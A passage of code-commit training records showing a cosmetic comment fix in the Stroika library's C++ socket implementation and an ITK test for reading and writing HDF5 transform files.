SHOULD implement ... but so far not running into trouble cuz anything I link to calling this...\n    OhShit_ ();\n    return 0;\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n* Copyright(c) Sophist Solutions, Inc. 1990-2018.  All rights reserved\n*\/\n#include \"..\/..\/StroikaPreComp.h\"\n\n#include \"..\/..\/Characters\/Format.h\"\n#include \"..\/..\/Characters\/ToString.h\"\n#include \"..\/..\/IO\/FileAccessException.h\"\n\n#include \"Socket-Private_.h\"\n\n#include \"Socket.h\"\n\n\/\/ Comment this in to turn on aggressive noisy DbgTrace in this module\n\/\/#define   USE_NOISY_TRACE_IN_THIS_MODULE_       1\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::Characters;\nusing namespace Stroika::Foundation::Execution;\nusing namespace Stroika::Foundation::Memory;\nusing namespace Stroika::Foundation::IO;\nusing namespace Stroika::Foundation::IO::Network;\n\nusing namespace Stroika::Foundation::IO::Network::PRIVATE_;\n\n\/*\n* Notes:\n*      http:\/\/stackoverflow.com\/questions\/2693709\/what-was-the-motivation-for-adding-the-ipv6-v6only-flag\n*  Windows:\n*      https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/bb513665(v=vs.85).aspx\n*      Windows Vista and later only\n*\n*  not sure how to handle this best cuz not every OS will support dual-stack (or will it?)\n*\n*  So assume no duel sockets. That seems best --LGP 2017-04-24\n*\/\nnamespace {\n    constexpr bool kUseDualStackSockets_ = false; \/\/ opposite of IPV6_V6ONLY\n}\n\n\/*\n ********************************************************************************\n ******************************** Network::Socket *******************************\n ********************************************************************************\n *\/\nSocket::PlatformNativeHandle Socket::mkLowLevelSocket_ (SocketAddress::FamilyType family, Socket::Type socketKind, const Optional<IPPROTO>& protocol)\n{\n#if qPlatform_Windows\n    IO::Network::Platform::Windows::WinSock::AssureStarted ();\n#endif\n    Socket::PlatformNativeHandle sfd;\n#if qPlatform_POSIX\n    ThrowErrNoIfNegative (sfd = Handle_ErrNoResultInterruption ([=]() -> int { return socket (static_cast<int> (family), static_cast<int> (socketKind), static_cast<int> (protocol.Value ())); }));\n#elif qPlatform_Windows\n    DISABLE_COMPILER_MSC_WARNING_START (28193) \/\/ dump warning about examining sfd\n    ThrowErrNoIfNegative<Socket::PlatformNativeHandle> (sfd = ::socket (static_cast<int> (family), static_cast<int> (socketKind), static_cast<int> (protocol.Value ())));\n    DISABLE_COMPILER_MSC_WARNING_END (28193)\n#else\n    AssertNotImplemented ();\n#endif\n    if (family == SocketAddress::FamilyType::INET6) {\n        int useIPV6Only = not kUseDualStackSockets_;\n#if qPlatform_Linux\n        \/\/ Linux follows the RFC, and uses dual-stack mode by default\n        constexpr bool kOSDefaultIPV6Only_{false};\n        bool           mustSet = useIPV6Only != kOSDefaultIPV6Only_;\n#elif qPlatfom_Windows\n        \/\/ Windows defaults to NOT dual sockets, so nothing todo for windows\n        constexpr bool kOSDefaultIPV6Only_{true};\n        bool           mustSet = useIPV6Only != kOSDefaultIPV6Only_;\n#else\n        bool mustSet = true;\n#endif\n        if (mustSet) {\n            if (::setsockopt (sfd, IPPROTO_IPV6, IPV6_V6ONLY, reinterpret_cast<const char*> (&useIPV6Only), sizeof (useIPV6Only)) < 0) {\n                AssertNotReached ();\n            }\n        }\n    }\n    return sfd;\n}\n\n\/*\n ********************************************************************************\n ***************************** Network::Socket::Ptr *****************************\n ********************************************************************************\n *\/\nSocket::PlatformNativeHandle Socket::Ptr::Detach ()\n{\n    lock_guard<const AssertExternallySynchronizedLock> critSec{*this};\n    PlatformNativeHandle                               h = kINVALID_NATIVE_HANDLE_;\n    if (fRep_ != nullptr) {\n        h = fRep_->Detach ();\n    }\n    fRep_.reset ();\n    return h;\n}\n\nSocket::Type Socket::Ptr::GetType () const\n{\n    shared_lock<const AssertExternallySynchronizedLock> critSec{*this};\n    return getsockopt<Type> (SOL_SOCKET, SO_TYPE);\n}\n\nvoid Socket::Ptr::Bind (const SocketAddress& sockAddr, BindFlags bindFlags)\n{\n    Debug::TraceContextBumper                          ctx{Stroika_Foundation_Debug_OptionalizeTraceArgs (L\"IO::Network::Socket::Bind\", L\"sockAddr=%s bindFlags.fReUseAddr=%s\", Characters::ToString (sockAddr).c_str (), Characters::ToString (bindFlags.fReUseAddr).c_str ())};\n    lock_guard<const AssertExternallySynchronizedLock> critSec{*this};\n    RequireNotNull (fRep_); \/\/ Construct with Socket::Kind::SOCKET_STREAM?\n\n    \/\/ Indicates that the rules used in validating addresses supplied in a bind(2) call should allow\n    \/\/ reuse of local addresses. For AF_INET sockets this means that a socket may bind, except when\n    \/\/ there is an active listening socket bound to the address. When the listening socket is bound\n    \/\/ to INADDR_ANY with a specific port then it is not possible to bind to this port for any local address.\n    setsockopt<int> (SOL_SOCKET, SO_REUSEADDR, bindFlags.fReUseAddr ? 1 : 0);\n\n    sockaddr_storage     useSockAddr = sockAddr.As<sockaddr_storage> ();\n    PlatformNativeHandle sfd         = fRep_->GetNativeSocket ();\n#if qPlatform_Windows\n    try {\n        ThrowErrNoIfNegative<Socket::PlatformNativeHandle> (::bind (sfd, (sockaddr*)&useSockAddr, sizeof (useSockAddr)));\n    }\n    catch (const Execution::Platform::Windows::Exception& e) {\n        if (e == WSAEACCES) {\n            Throw (StringException (Characters::Format (L\"Cannot Bind to port %d: WSAEACCES (probably already bound with SO_EXCLUSIVEADDRUSE)\", (int)sockAddr.GetPort ())));\n        }\n    }\n#else\n    \/\/ EACCESS reproted as FileAccessException - which is crazy confusing.\n    \/\/ @todo - find a better way, but for now remap this...\n    try {\n        ThrowErrNoIfNegative (Handle_ErrNoResultInterruption ([&sfd, &useSockAddr]() -> int { return ::bind (sfd, (sockaddr*)&useSockAddr, sizeof (useSockAddr)); }));\n    }\n    catch (const IO::FileAccessException&) {\n        Throw (StringException (Characters::Format (L\"Cannot Bind to port %d: EACCESS (probably already bound with SO_EXCLUSIVEADDRUSE)\", (int)sockAddr.GetPort ())));\n    }\n#endif\n    catch (...) {\n        Throw (StringException (Characters::Format (L\"Cannot Bind to port %d: %s\", (int)sockAddr.GetPort (), Characters::ToString (current_exception ()).c_str ())));\n    }\n}\n\nbool Socket::Ptr::IsOpen () const\n{\n    shared_lock<const AssertExternallySynchronizedLock> critSec{*this};\n    if (fRep_ != nullptr) {\n        return fRep_->GetNativeSocket () != kINVALID_NATIVE_HANDLE_;\n    }\n    return false;\n}\n\nString Socket::Ptr::ToString () const\n{\n    shared_lock<const AssertExternallySynchronizedLock> critSec{*this};\n    StringBuilder                                       sb;\n    if (fRep_ == nullptr) {\n        sb += L\"nullptr\";\n    }\n    else {\n        sb += L\"{\";\n        sb += L\"Native-Socket: \" + ((fRep_->GetNativeSocket () == kINVALID_NATIVE_HANDLE_) ? L\"CLOSED\" : Characters::ToString (fRep_->GetNativeSocket ())) + L\", \";\n        if (auto ola = GetLocalAddress ()) {\n            sb += L\"Local-Address: \" + Characters::ToString (*ola);\n        }\n        sb += L\"}\";\n    }\n    return sb.str ();\n}\n\n\/*\n ********************************************************************************\n ******************** Execution::ThrowErrNoIfNegative ***************************\n ********************************************************************************\n *\/\n#if qPlatform_Windows\nnamespace Stroika {\n    namespace Foundation {\n        namespace Execution {\n            \/\/ this specialization needed because the winsock type for SOCKET is UNSIGNED so < 0 test doesn't work\n            template <>\n            IO::Network::Socket::PlatformNativeHandle ThrowErrNoIfNegative (IO::Network::Socket::PlatformNativeHandle returnCode)\n            {\n                if (returnCode == kINVALID_NATIVE_HANDLE_) {\n                    Execution::Platform::Windows::Exception::Throw (::WSAGetLastError ());\n                }\n                return returnCode;\n            }\n        }\n    }\n}\n#endif\n<commit_msg>cosmetic<commit_after>\/*\n* Copyright(c) Sophist Solutions, Inc. 1990-2018.  All rights reserved\n*\/\n#include \"..\/..\/StroikaPreComp.h\"\n\n#include \"..\/..\/Characters\/Format.h\"\n#include \"..\/..\/Characters\/ToString.h\"\n#include \"..\/..\/IO\/FileAccessException.h\"\n\n#include \"Socket-Private_.h\"\n\n#include \"Socket.h\"\n\n\/\/ Comment this in to turn on aggressive noisy DbgTrace in this module\n\/\/#define   USE_NOISY_TRACE_IN_THIS_MODULE_       1\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::Characters;\nusing namespace Stroika::Foundation::Execution;\nusing namespace Stroika::Foundation::Memory;\nusing namespace Stroika::Foundation::IO;\nusing namespace Stroika::Foundation::IO::Network;\n\nusing namespace Stroika::Foundation::IO::Network::PRIVATE_;\n\n\/*\n * Notes:\n *      http:\/\/stackoverflow.com\/questions\/2693709\/what-was-the-motivation-for-adding-the-ipv6-v6only-flag\n *  Windows:\n *      https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/bb513665(v=vs.85).aspx\n *      Windows Vista and later only\n *\n *  not sure how to handle this best cuz not every OS will support dual-stack (or will it?) \n *\n *  So assume no dual-stack sockets. That seems best --LGP 2017-04-24\n *\/\nnamespace {\n    constexpr bool kUseDualStackSockets_ = false; \/\/ opposite of IPV6_V6ONLY\n}\n\n\/*\n ********************************************************************************\n ******************************** Network::Socket *******************************\n ********************************************************************************\n *\/\nSocket::PlatformNativeHandle Socket::mkLowLevelSocket_ (SocketAddress::FamilyType family, Socket::Type socketKind, const Optional<IPPROTO>& protocol)\n{\n#if qPlatform_Windows\n    IO::Network::Platform::Windows::WinSock::AssureStarted ();\n#endif\n    Socket::PlatformNativeHandle sfd;\n#if qPlatform_POSIX\n    ThrowErrNoIfNegative (sfd = Handle_ErrNoResultInterruption ([=]() -> int { return socket (static_cast<int> (family), static_cast<int> (socketKind), static_cast<int> (protocol.Value ())); }));\n#elif qPlatform_Windows\n    DISABLE_COMPILER_MSC_WARNING_START (28193) \/\/ dump warning about examining sfd\n    ThrowErrNoIfNegative<Socket::PlatformNativeHandle> (sfd = ::socket (static_cast<int> (family), static_cast<int> (socketKind), static_cast<int> (protocol.Value ())));\n    DISABLE_COMPILER_MSC_WARNING_END (28193)\n#else\n    AssertNotImplemented ();\n#endif\n    if (family == SocketAddress::FamilyType::INET6) {\n        int useIPV6Only = not kUseDualStackSockets_;\n#if qPlatform_Linux\n        \/\/ Linux follows the RFC, and uses dual-stack mode by default\n        constexpr bool kOSDefaultIPV6Only_{false};\n        bool           mustSet = useIPV6Only != kOSDefaultIPV6Only_;\n#elif qPlatfom_Windows\n        \/\/ Windows defaults to NOT dual sockets, so nothing todo for windows\n        constexpr bool kOSDefaultIPV6Only_{true};\n        bool           mustSet = useIPV6Only != kOSDefaultIPV6Only_;\n#else\n        bool mustSet = true;\n#endif\n        if (mustSet) {\n            if (::setsockopt (sfd, IPPROTO_IPV6, IPV6_V6ONLY, reinterpret_cast<const char*> (&useIPV6Only), sizeof (useIPV6Only)) < 0) {\n                AssertNotReached ();\n            }\n        }\n    }\n    return sfd;\n}\n\n\/*\n ********************************************************************************\n ***************************** Network::Socket::Ptr *****************************\n ********************************************************************************\n *\/\nSocket::PlatformNativeHandle Socket::Ptr::Detach ()\n{\n    lock_guard<const AssertExternallySynchronizedLock> critSec{*this};\n    PlatformNativeHandle                               h = kINVALID_NATIVE_HANDLE_;\n    if (fRep_ != nullptr) {\n        h = fRep_->Detach ();\n    }\n    fRep_.reset ();\n    return h;\n}\n\nSocket::Type Socket::Ptr::GetType () const\n{\n    shared_lock<const AssertExternallySynchronizedLock> critSec{*this};\n    return getsockopt<Type> (SOL_SOCKET, SO_TYPE);\n}\n\nvoid Socket::Ptr::Bind (const SocketAddress& sockAddr, BindFlags bindFlags)\n{\n    Debug::TraceContextBumper                          ctx{Stroika_Foundation_Debug_OptionalizeTraceArgs (L\"IO::Network::Socket::Bind\", L\"sockAddr=%s bindFlags.fReUseAddr=%s\", Characters::ToString (sockAddr).c_str (), Characters::ToString (bindFlags.fReUseAddr).c_str ())};\n    lock_guard<const AssertExternallySynchronizedLock> critSec{*this};\n    RequireNotNull (fRep_); \/\/ Construct with Socket::Kind::SOCKET_STREAM?\n\n    \/\/ Indicates that the rules used in validating addresses supplied in a bind(2) call should allow\n    \/\/ reuse of local addresses. For AF_INET sockets this means that a socket may bind, except when\n    \/\/ there is an active listening socket bound to the address. When the listening socket is bound\n    \/\/ to INADDR_ANY with a specific port then it is not possible to bind to this port for any local address.\n    setsockopt<int> (SOL_SOCKET, SO_REUSEADDR, bindFlags.fReUseAddr ? 1 : 0);\n\n    sockaddr_storage     useSockAddr = sockAddr.As<sockaddr_storage> ();\n    PlatformNativeHandle sfd         = fRep_->GetNativeSocket ();\n#if qPlatform_Windows\n    try {\n        ThrowErrNoIfNegative<Socket::PlatformNativeHandle> (::bind (sfd, (sockaddr*)&useSockAddr, sizeof (useSockAddr)));\n    }\n    catch (const Execution::Platform::Windows::Exception& e) {\n        if (e == WSAEACCES) {\n            Throw (StringException (Characters::Format (L\"Cannot Bind to port %d: WSAEACCES (probably already bound with SO_EXCLUSIVEADDRUSE)\", (int)sockAddr.GetPort ())));\n        }\n    }\n#else\n    \/\/ EACCESS reproted as FileAccessException - which is crazy confusing.\n    \/\/ @todo - find a better way, but for now remap this...\n    try {\n        ThrowErrNoIfNegative (Handle_ErrNoResultInterruption ([&sfd, &useSockAddr]() -> int { return ::bind (sfd, (sockaddr*)&useSockAddr, sizeof (useSockAddr)); }));\n    }\n    catch (const IO::FileAccessException&) {\n        Throw (StringException (Characters::Format (L\"Cannot Bind to port %d: EACCESS (probably already bound with SO_EXCLUSIVEADDRUSE)\", (int)sockAddr.GetPort ())));\n    }\n#endif\n    catch (...) {\n        Throw (StringException (Characters::Format (L\"Cannot Bind to port %d: %s\", (int)sockAddr.GetPort (), Characters::ToString (current_exception ()).c_str ())));\n    }\n}\n\nbool Socket::Ptr::IsOpen () const\n{\n    shared_lock<const AssertExternallySynchronizedLock> critSec{*this};\n    if (fRep_ != nullptr) {\n        return fRep_->GetNativeSocket () != kINVALID_NATIVE_HANDLE_;\n    }\n    return false;\n}\n\nString Socket::Ptr::ToString () const\n{\n    shared_lock<const AssertExternallySynchronizedLock> critSec{*this};\n    StringBuilder                                       sb;\n    if (fRep_ == nullptr) {\n        sb += L\"nullptr\";\n    }\n    else {\n        sb += L\"{\";\n        sb += L\"Native-Socket: \" + ((fRep_->GetNativeSocket () == kINVALID_NATIVE_HANDLE_) ? L\"CLOSED\" : Characters::ToString (fRep_->GetNativeSocket ())) + L\", \";\n        if (auto ola = GetLocalAddress ()) {\n            sb += L\"Local-Address: \" + Characters::ToString (*ola);\n        }\n        sb += L\"}\";\n    }\n    return sb.str ();\n}\n\n\/*\n ********************************************************************************\n ******************** Execution::ThrowErrNoIfNegative ***************************\n ********************************************************************************\n *\/\n#if qPlatform_Windows\nnamespace Stroika {\n    namespace Foundation {\n        namespace Execution {\n            \/\/ this specialization needed because the winsock type for SOCKET is UNSIGNED so < 0 test doesn't work\n            template <>\n            IO::Network::Socket::PlatformNativeHandle ThrowErrNoIfNegative (IO::Network::Socket::PlatformNativeHandle returnCode)\n            {\n                if (returnCode == kINVALID_NATIVE_HANDLE_) {\n                    Execution::Platform::Windows::Exception::Throw (::WSAGetLastError ());\n                }\n                return returnCode;\n            }\n        }\n    }\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n *\n *  Copyright Insight Software Consortium\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n\n#include <iostream>\n#include <fstream>\n#include \"itkHDF5TransformIOFactory.h\"\n#include \"itkTransformFileWriter.h\"\n#include \"itkTransformFileReader.h\"\n#include \"itkAffineTransform.h\"\n#include \"itkTransformFactory.h\"\n#include \"itkSimilarity2DTransform.h\"\n#include \"itkBSplineTransform.h\"\n#include \"itksys\/SystemTools.hxx\"\n\n\/\/Transforms from Filtering\/DisplacementField\/include\n#include \"itkBSplineExponentialDiffeomorphicTransform.h\"\n#include \"itkBSplineSmoothingOnUpdateDisplacementFieldTransform.h\"\n#include \"itkConstantVelocityFieldTransform.h\"\n#include \"itkDisplacementFieldTransform.h\"\n#include \"itkGaussianExponentialDiffeomorphicTransform.h\"\n#include \"itkGaussianSmoothingOnUpdateDisplacementFieldTransform.h\"\n\ntemplate < typename ScalarType, typename DisplacementTransformType >\nstatic int ReadWriteTest(const char * const fileName)\n{\n  \/\/ Now test reading\/writing many different transform types.\n  typename itk::TransformFileReaderTemplate<ScalarType>::Pointer\n    reader = itk::TransformFileReaderTemplate<ScalarType>::New();\n\n  typename itk::TransformFileWriterTemplate<ScalarType>::Pointer\n    writer = itk::TransformFileWriterTemplate<ScalarType>::New();\n\n  writer->SetFileName( fileName );\n  reader->SetFileName( fileName );\n\n  typename DisplacementTransformType::Pointer displacementTransform = DisplacementTransformType::New();\n    {\n    typedef typename DisplacementTransformType::DisplacementFieldType FieldType;\n    typename FieldType::Pointer field = FieldType::New(); \/\/This is based on itk::Image\n\n    const int dimLength = 20;\n    typename FieldType::SizeType size;\n    size.Fill( dimLength );\n    typename FieldType::IndexType start;\n    start.Fill( 0 );\n    typename FieldType::RegionType region;\n    region.SetSize( size );\n    region.SetIndex( start );\n    field->SetRegions( region );\n    typename FieldType::SpacingType spacing;\n    spacing.Fill( 1.2 );\n    field->SetSpacing( spacing );\n    field->Allocate();\n\n    typename DisplacementTransformType::OutputVectorType zeroVector;\n    zeroVector.Fill( 0 );\n    field->FillBuffer( zeroVector );\n\n    displacementTransform->SetDisplacementField( field );\n    }\n\n  try\n    {\n    writer->AddTransform( displacementTransform );\n    writer->Update();\n    \/\/std::cout << std::endl;\n    \/\/std::cout << \"Testing read : \" << std::endl;\n    reader->Update();\n    }\n  catch( itk::ExceptionObject & excp )\n    {\n    std::cerr << \"Error while saving the transforms\" << std::endl;\n    std::cerr << excp << std::endl;\n    std::cout << \"[FAILED]\" << std::endl;\n    return EXIT_FAILURE;\n    }\n  return EXIT_SUCCESS;\n}\n\ntemplate<typename ScalarType>\nstatic int oneTest(const char *const goodname,const char *const badname)\n{\n  typedef typename itk::AffineTransform<ScalarType,4>  AffineTransformType;\n  typedef typename itk::AffineTransform<ScalarType,10> AffineTransformTypeNotRegistered;\n  typename AffineTransformType::Pointer        affine = AffineTransformType::New();\n\n  itk::ObjectFactoryBase::RegisterFactory(itk::HDF5TransformIOFactory::New() );\n\n  \/\/ Set it's parameters\n  typename AffineTransformType::ParametersType p = affine->GetParameters();\n  for ( unsigned int i = 0; i < p.GetSize(); i++ )\n    {\n    p[i] = i;\n    }\n  affine->SetParameters ( p );\n  p = affine->GetFixedParameters ();\n  for ( unsigned int i = 0; i < p.GetSize(); i++ )\n    {\n    p[i] = i;\n    }\n  affine->SetFixedParameters ( p );\n  typename itk::TransformFileWriterTemplate<ScalarType>::Pointer\n    writer = itk::TransformFileWriterTemplate<ScalarType>::New();\n  typename itk::TransformFileReaderTemplate<ScalarType>::Pointer\n    reader = itk::TransformFileReaderTemplate<ScalarType>::New();\n\n  writer->AddTransform(affine);\n\n  writer->SetFileName( goodname );\n  reader->SetFileName( goodname );\n\n  \/\/ Testing writing std::cout << \"Testing write : \";\n  affine->Print ( std::cout );\n  try\n    {\n    writer->Update();\n    std::cout << std::endl;\n    std::cout << \"Testing read : \" << std::endl;\n    reader->Update();\n    }\n  catch( itk::ExceptionObject & excp )\n    {\n    std::cerr << \"Error while saving the transforms\" << std::endl;\n    std::cerr << excp << std::endl;\n    std::cout << \"[FAILED]\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n\n  try\n    {\n    typename itk::TransformFileReaderTemplate<ScalarType>::TransformListType * list = reader->GetTransformList();\n    typename itk::TransformFileReaderTemplate<ScalarType>::TransformListType::iterator lit = list->begin();\n    while ( lit != list->end() )\n      {\n      (*lit)->Print ( std::cout );\n      ++lit;\n      }\n    }\n  catch( itk::ExceptionObject & excp )\n    {\n    std::cerr << \"Error while saving the transforms\" << std::endl;\n    std::cerr << excp << std::endl;\n    std::cout << \"[FAILED]\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n\n  std::cout << \"Creating bad writer\" << std::endl;\n  typename AffineTransformTypeNotRegistered::Pointer Bogus = AffineTransformTypeNotRegistered::New();\n\n  \/\/ Set it's parameters\n  p = Bogus->GetParameters();\n  for ( unsigned int i = 0; i < p.GetSize(); i++ )\n    {\n    p[i] = i;\n    }\n  Bogus->SetParameters ( p );\n  p = Bogus->GetFixedParameters ();\n  for ( unsigned int i = 0; i < p.GetSize(); i++ )\n    {\n    p[i] = i;\n    }\n  Bogus->SetFixedParameters ( p );\n\n  typename itk::TransformFileWriterTemplate<ScalarType>::Pointer\n    badwriter = itk::TransformFileWriterTemplate<ScalarType>::New();\n  typename itk::TransformFileReaderTemplate<ScalarType>::Pointer\n    badreader = itk::TransformFileReaderTemplate<ScalarType>::New();\n  badwriter->AddTransform(Bogus);\n  badwriter->SetFileName(badname);\n  badreader->SetFileName(badname);\n\n  \/\/ Testing writing\n  std::cout << \"Testing write of non register transform : \" << std::endl;\n  std::cout << std::flush;\n  try\n    {\n    badwriter->Update();\n    }\n  catch( itk::ExceptionObject & excp )\n    {\n    std::cerr << \"Error while saving the transforms\" << std::endl;\n    std::cerr << excp << std::endl;\n    std::cout << \"[FAILED]\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n  \/\/ Testing writing\n  std::cout << \"Testing read of non register transform : \" << std::endl;\n  std::cout << std::flush;\n  bool caught = false;\n  try\n    {\n    badreader->Update();\n    }\n  catch( itk::ExceptionObject & excp )\n    {\n    caught = true;\n    std::cout << \"Caught exception as expected\" << std::endl;\n    std::cout << excp << std::endl;\n    }\n  if ( !caught )\n    {\n    std::cerr << \"Did not catch non registered transform\" << std::endl;\n    std::cout << \"[FAILED]\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n  int error_sum = 0;\n  error_sum += ReadWriteTest< float, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<float,2> >(goodname);\n  error_sum += ReadWriteTest< float, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<float,3> >(goodname);\n  error_sum += ReadWriteTest< double, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<double,2> >(goodname);\n  error_sum += ReadWriteTest< double, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<double,3> >(goodname);\n\n  error_sum += ReadWriteTest< float, itk::ConstantVelocityFieldTransform<float,2> >(goodname);\n  error_sum += ReadWriteTest< float, itk::ConstantVelocityFieldTransform<float,3> >(goodname);\n  error_sum += ReadWriteTest< double, itk::ConstantVelocityFieldTransform<double,2> >(goodname);\n  error_sum += ReadWriteTest< double, itk::ConstantVelocityFieldTransform<double,3> >(goodname);\n\n  error_sum += ReadWriteTest< float, itk::DisplacementFieldTransform<float, 2> >(goodname);\n  error_sum += ReadWriteTest< float, itk::DisplacementFieldTransform<float, 3> >(goodname);\n  error_sum += ReadWriteTest< double, itk::DisplacementFieldTransform<double, 2> >(goodname);\n  error_sum += ReadWriteTest< double, itk::DisplacementFieldTransform<double, 3> >(goodname);\n\n  error_sum += ReadWriteTest< float, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<float,2> >(goodname);\n  error_sum += ReadWriteTest< float, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<float,3> >(goodname);\n  error_sum += ReadWriteTest< double, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<double,2> >(goodname);\n  error_sum += ReadWriteTest< double, itk::BSplineSmoothingOnUpdateDisplacementFieldTransform<double,3> >(goodname);\n\n  error_sum += ReadWriteTest< float, itk::GaussianExponentialDiffeomorphicTransform<float,2> >(goodname);\n  error_sum += ReadWriteTest< float, itk::GaussianExponentialDiffeomorphicTransform<float,3> >(goodname);\n  error_sum += ReadWriteTest< double, itk::GaussianExponentialDiffeomorphicTransform<double,2> >(goodname);\n  error_sum += ReadWriteTest< double, itk::GaussianExponentialDiffeomorphicTransform<double,3> >(goodname);\n\n  error_sum += ReadWriteTest< float, itk::GaussianSmoothingOnUpdateDisplacementFieldTransform<float,2> >(goodname);\n  error_sum += ReadWriteTest< float, itk::GaussianSmoothingOnUpdateDisplacementFieldTransform<float,3> >(goodname);\n  error_sum += ReadWriteTest< double, itk::GaussianSmoothingOnUpdateDisplacementFieldTransform<double,2> >(goodname);\n  error_sum += ReadWriteTest< double, itk::GaussianSmoothingOnUpdateDisplacementFieldTransform<double,3> >(goodname);\n\n  if( error_sum > 0 )\n    {\n    std::cerr << \"Atleast 1 transform type could not be read\/written \" << error_sum << std::endl;\n    std::cout << \"[FAILED]\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n  std::cout << \"[PASSED]\" << std::endl;\n\n  return EXIT_SUCCESS;\n}\n\n\/\/\n\/\/ test endless loop bug in transform reader, triggered by no\n\/\/ EOL at end of file.\n\/\/ This test will exercise this reported bug:\n\/\/ http:\/\/public.kitware.com\/Bug\/view.php?id=7028\ntemplate<typename ScalarType>\nint\nsecondTest()\n{\n  std::filebuf fb;\n  fb.open(\"IllegalTransform.txt\",std::ios::out);\n  std::ostream os(&fb);\n  os << \"#Insight Transform File V1.0\"\n     << std::endl\n     << \"#Transform 0\"\n     << std::endl\n     << \"Transform: AffineTransform_double_10_10\"\n     << std::endl\n     << \"Parameters: \"\n     << \"  0 1 2 3 4 5 6 7 8 9 10 11 12\"\n     << \" 13 14 15 16 17 18 19 20 21 22\"\n     << std::endl\n     << \"FixedParameters: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18\";\n  fb.close();\n  typename itk::TransformFileReaderTemplate<ScalarType>::Pointer reader;\n  reader = itk::TransformFileReaderTemplate<ScalarType>::New();\n  reader->SetFileName(\"IllegalTransform.txt\");\n  try\n    {\n    reader->Update();\n    std::cerr << \"FAILED to throw expected exception\" << std::endl;\n    typename itk::TransformFileReaderTemplate<ScalarType>::TransformListType *list;\n    list = reader->GetTransformList();\n    typename itk::TransformFileReaderTemplate<ScalarType>::TransformListType::iterator lit =\n      list->begin();\n    while ( lit != list->end() )\n      {\n      (*lit)->Print ( std::cout );\n      ++lit;\n      }\n    }\n  catch( itk::ExceptionObject & excp )\n    {\n    std::cerr << \"EXPECTED Error while reading the transforms\" << std::endl;\n    std::cerr << excp << std::endl;\n    std::cout << \"[SUCCESS]\" << std::endl;\n    return EXIT_SUCCESS;\n    }\n  return EXIT_FAILURE;\n}\n\nint itkIOTransformHDF5Test(int argc, char* argv[])\n{\n  if (argc > 1)\n    {\n    itksys::SystemTools::ChangeDirectory(argv[1]);\n    }\n  const int result1 =  oneTest<float>(\"Transforms_float.h5\", \"TransformsBad_float.h5\" );\n  const int result2 =  secondTest<float>();\n\n  const int result3 =  oneTest<double>(\"Transforms_double.hdf5\", \"TransformsBad_double.hdf5\" );\n  const int result4 =  secondTest<double>();\n\n  return (\n          ( !( result1 == EXIT_SUCCESS && result2 == EXIT_SUCCESS) ) &&\n          ( !( result3 == EXIT_SUCCESS && result4 == EXIT_SUCCESS) )\n          );\n}\n<commit_msg>BUG: Remove InsightLegacy test code from TransformHDF5Test.<commit_after>\/*=========================================================================\n *\n *  Copyright Insight Software Consortium\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n\n#include <iostream>\n#include <fstream>\n#include \"itkHDF5TransformIOFactory.h\"\n#include \"itkTransformFileWriter.h\"\n#include \"itkTransformFileReader.h\"\n#include \"itkAffineTransform.h\"\n#include \"itkTransformFactory.h\"\n#include \"itkSimilarity2DTransform.h\"\n#include \"itkBSplineTransform.h\"\n#include \"itksys\/SystemTools.hxx\"\n\n\/\/Transforms from Filtering\/DisplacementField\/include\n#include \"itkBSplineExponentialDiffeomorphicTransform.h\"\n#include \"itkBSplineSmoothingOnUpdateDisplacementFieldTransform.h\"\n#include \"itkConstantVelocityFieldTransform.h\"\n#include \"itkDisplacementFieldTransform.h\"\n#include \"itkGaussianExponentialDiffeomorphicTransform.h\"\n#include \"itkGaussianSmoothingOnUpdateDisplacementFieldTransform.h\"\n\ntemplate < typename ScalarType, typename DisplacementTransformType >\nstatic int ReadWriteTest(const char * const fileName)\n{\n  \/\/ Now test reading\/writing many different transform types.\n  typename itk::TransformFileReaderTemplate<ScalarType>::Pointer\n    reader = itk::TransformFileReaderTemplate<ScalarType>::New();\n\n  typename itk::TransformFileWriterTemplate<ScalarType>::Pointer\n    writer = itk::TransformFileWriterTemplate<ScalarType>::New();\n\n  writer->SetFileName( fileName );\n  reader->SetFileName( fileName );\n\n  typename DisplacementTransformType::Pointer displacementTransform = DisplacementTransformType::New();\n    {\n    typedef typename DisplacementTransformType::DisplacementFieldType FieldType;\n    typename FieldType::Pointer field = FieldType::New(); \/\/This is based on itk::Image\n\n    const int dimLength = 20;\n    typename FieldType::SizeType size;\n    size.Fill( dimLength );\n    typename FieldType::IndexType start;\n    start.Fill( 0 );\n    typename FieldType::RegionType region;\n    region.SetSize( size );\n    region.SetIndex( start );\n    field->SetRegions( region );\n    typename FieldType::SpacingType spacing;\n    spacing.Fill( 1.2 );\n    field->SetSpacing( spacing );\n    